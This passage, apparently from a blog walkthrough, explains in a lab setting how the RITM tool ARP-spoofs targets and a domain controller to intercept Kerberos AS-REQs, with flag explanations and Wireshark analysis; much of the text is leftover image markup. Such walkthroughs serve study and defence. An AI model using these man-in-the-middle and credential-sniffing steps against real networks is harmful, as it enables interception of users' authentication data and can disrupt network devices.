2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Let&#8217;s kick off RITM and start the attack. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ophO!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ophO!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 424w, https://substackcdn.com/image/fetch/$s_!ophO!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 848w, https://substackcdn.com/image/fetch/$s_!ophO!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 1272w, https://substackcdn.com/image/fetch/$s_!ophO!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ophO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png" width="1456" height="406" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:false,&quot;imageSize&quot;:&quot;normal&quot;,&quot;height&quot;:406,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:96574,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ophO!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 424w, https://substackcdn.com/image/fetch/$s_!ophO!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 848w, https://substackcdn.com/image/fetch/$s_!ophO!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 1272w, https://substackcdn.com/image/fetch/$s_!ophO!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F7ca804ca-f4d5-435c-b7a8-5a13b3fa6450_2368x660.png 1456w" sizes="100vw"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Couple of notes on the screenshot:</p><ul><li><p>I&#8217;m providing the domain controller&#8217;s IP to the <code>-g/--gateway </code>flag where you&#8217;ll specify the gateway normally</p></li><li><p>Regardless of if everything&#8217;s on the same segment or not, I would specify a domain controller&#8217;s IP with <code>--dc-ip</code>. You really don&#8217;t want to wait around sniffing for an AS-REQ, only for the attack to fail if your machine can&#8217;t directly resolve the domain name</p></li><li><p>The <code>-u/--users-file</code> flag needs a list of usernames. If you&#8217;re performing this attack truly unauthenticated, use RID cycling or brute forcing Kerberos pre-auth to obtain a list</p></li></ul><p>Once RITM is up and running, we can take another look at the target&#8217;s ARP cache and see that it&#8217;s been poisoned.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!oxKy!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!oxKy!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 424w, https://substackcdn.com/image/fetch/$s_!oxKy!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 848w, https://substackcdn.com/image/fetch/$s_!oxKy!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 1272w, https://substackcdn.com/image/fetch/$s_!oxKy!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!oxKy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png" width="1456" height="772" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:772,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:295285,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!oxKy!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 424w, https://substackcdn.com/image/fetch/$s_!oxKy!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 848w, https://substackcdn.com/image/fetch/$s_!oxKy!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 1272w, https://substackcdn.com/image/fetch/$s_!oxKy!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F90cd9ffd-b1bd-4c41-aa07-9b67f535944f_1768x938.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Since RITM supports spoofing to a gateway, the ARP spoofing is performed both ways. Meaning, if you were also to check the ARP cache on whatever was provided to the <code>-g/--gateway</code> flag, the attacker&#8217;s MAC would be listed as the physical address for the target client(s). </p><p><em>This is where things can get risky - if you target networking devices with -t instead of Windows workstations/servers, things are going to break. Targeting too many machines at once could also have negative effects.</em></p><h2>AS-REQ Sniffing</h2><p>Now that a man-in-the-middle position has been obtained, it&#8217;s really just a waiting game to sniff an AS-REQ. You should be able to sniff them naturally when users&#8217; TGTs on your target(s) expire and a new one is requested, or when they log into their machine from a locked screen. Tt&#8217;s probably more fruitful to target Windows workstations than servers for this reason, if you have a choice on your network segment.</p><p>In my lab, a new AS-REQ can be forced by purging existing tickets and then requesting access to a service.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wANa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wANa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 424w, https://substackcdn.com/image/fetch/$s_!wANa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 848w, https://substackcdn.com/image/fetch/$s_!wANa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 1272w, https://substackcdn.com/image/fetch/$s_!wANa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wANa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png" width="1456" height="491" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:491,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:84106,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wANa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 424w, https://substackcdn.com/image/fetch/$s_!wANa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 848w, https://substackcdn.com/image/fetch/$s_!wANa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 1272w, https://substackcdn.com/image/fetch/$s_!wANa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F70d73207-b1c8-48f2-9e64-d8bd52935813_1484x500.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>RITM confirms this caused the client to send out an AS-REQ.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ZEvQ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 424w, https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 848w, https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 1272w, https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png" width="1456" height="421" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:421,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:119152,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 424w, https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 848w, https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 1272w, https://substackcdn.com/image/fetch/$s_!ZEvQ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F98c38ca7-f162-40ac-a158-435d3c98a56f_2368x684.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Let&#8217;s examine this a bit in Wireshark. We can see that we&#8217;ve actually man-in-the-middled two AS-REQs from the target. The first does not contain <code>pA-ENC-TIMESTAMP</code> data and is met with a <code>ERR_PREAUTH_REQUIRED</code> from the KDC. The second AS-REQ from the target does contain the encrypted timestamp, used by the KDC to verify the client&#8217;s identify</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!8XTc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!8XTc!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 424w, https://substackcdn.com/image/fetch/$s_!8XTc!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 848w, https://substackcdn.com/image/fetch/$s_!8XTc!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 1272w, https://substackcdn.com/image/fetch/$s_!8XTc!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!8XTc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png" width="1456" height="763" data-attrs="{&quot;src&quot;:&quot;https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/a86e1510-9800-4a37-a619-db78c182077f_2276x1192.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:763,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:218620,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!8XTc!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 424w, https://substackcdn.com/image/fetch/$s_!8XTc!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 848w, https://substackcdn.com/image/fetch/$s_!8XTc!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 1272w, https://substackcdn.com/image/fetch/$s_!8XTc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2Fa86e1510-9800-4a37-a619-db78c182077f_2276x1192.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 